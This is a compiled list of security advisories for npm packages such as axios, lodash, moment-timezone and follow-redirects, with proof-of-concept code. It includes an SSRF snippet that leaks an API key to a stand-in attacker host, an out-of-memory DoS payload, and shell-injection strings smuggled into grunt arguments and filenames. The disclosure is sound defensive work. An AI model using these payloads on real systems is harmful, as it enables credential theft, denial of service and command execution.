Version Details and Security Vulnerabilities

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');

axios.get('http://127.0.0.1:10081/', {
 headers: {
 'AuThorization': 'Rear Test',
 'ProXy-AuthoriZation': 'Rear Test',
 'coOkie': 't=1'
 }
})
 .then((response) => {
 console.log(response);
 })

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.12 or later.

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds

Sanitize user-provided locale name before passing it to moment.js.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

• Open an issue in moment repo

Impact

• using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs
• noticeable slowdown is observed with inputs above 10k characters
• users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks

Patches

The problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking.

Workarounds

In general, given the proliferation of ReDoS attacks, it makes sense to limit the length of the user input to something sane, like 200 characters or less. I haven't seen legitimate cases of date-time strings longer than that, so all moment users who do pass a user-originating string to constructor are encouraged to apply such a rudimentary filter, that would help with this but also most future ReDoS vulnerabilities.

References

There is an excellent writeup of the issue here: https://github.com/moment/moment/pull/6015#issuecomment-1152961973=

Details

The issue is rooted in the code that removes legacy comments (stuff inside parenthesis) from strings during rfc2822 parsing. moment("(".repeat(500000)) will take a few minutes to process, which is unacceptable.

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

All versions of the package ggit are vulnerable to Command Injection via the fetchTags(branch) API, which allows user input to specify the branch to be fetched and then concatenates this string along with a git command which is then passed to the unsafe exec() Node.js child process API.

All versions of the package ggit are vulnerable to Arbitrary Argument Injection via the clone() API, which allows specifying the remote URL to clone and the file on disk to clone to. The library does not sanitize for user input or validate a given URL scheme, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

Impact

All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.

• if Alice uses tzdata pipeline to package moment-timezone on her own (for example via grunt data:2014d, where 2014d stands for the version of the tzdata to be used from IANA's website),
• and Alice let's Mallory select the version (2014d in our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task

Am I affected?

Do you build custom versions of moment-timezone with grunt?

If no, you're not affected.

Do you allow a third party to specify which particular version you want build?

If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.

Description

Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint

The tasks/data-download.js script takes in a parameter from grunt and uses it to form a command line which is then executed:

6  module.exports = function (grunt) {
7      grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8          version = version || 'latest';

10          var done  = this.async(),
11              src   = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12              curl  = path.resolve('temp/curl', version, 'data.tar.gz'),
13              dest  = path.resolve('temp/download', version);
...
24          exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {

Ordinarily, one one run this script using something like grunt data-download:2014d, in which case version would have the value 2014d. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz

Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag

Command Injection via data-zdump.js

The tasks/data-zdump.js script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.

15              files     = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27          function next () {
...
33              var file = files.pop(),
34                  src  = path.join(zicBase, file),
35                  dest = path.join(zdumpBase, file);
36              exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {

In this case, an attacker able to add a file to temp/zic/2014d (for example) with a filename like Z; curl www.example.com would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.

Command Injection via data-zic.js

Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.

10          var done  = this.async(),
11              dest  = path.resolve('temp/zic', version),
...
22              var file = files.shift(),
23                  src = path.resolve('temp/download', version, file);
24
25              exec('zic -d ' + dest + ' ' + src, function (err) {

As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo  /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...

root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi

Patches

The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec to execFile so arbitrary bash fragments won't be executed any more.

References

• https://knowledge-base.secureflag.com/vulnerabilities/code_injection/os_command_injection_nodejs.html
• https://auth0.com/blog/preventing-command-injection-attacks-in-node-js-apps/

Impact

• if Alice uses grunt data (or grunt release) to prepare a custom-build, moment-timezone with the latest tzdata from IANA's website
• and Mallory intercepts the request to IANA's unencrypted ftp server, Mallory can serve data which might exploit further stages of the moment-timezone tzdata pipeline, or potentially produce a tainted version of moment-timezone (practicality of such attacks is not proved)

Patches

Problem has been patched in version 0.5.35, patch should be applicable with minor modifications to all affected versions. The patch includes changing the FTP endpoint with an HTTPS endpoint.

Workarounds

Specify the exact version of tzdata (like 2014d, full command being grunt data:2014d, then run the rest of the release tasks by hand), or just apply the patch before issuing the grunt command.

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).

npm ssri 5.2.2-6.0.1 and 7.0.0-8.0.0, processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.

The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.

All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.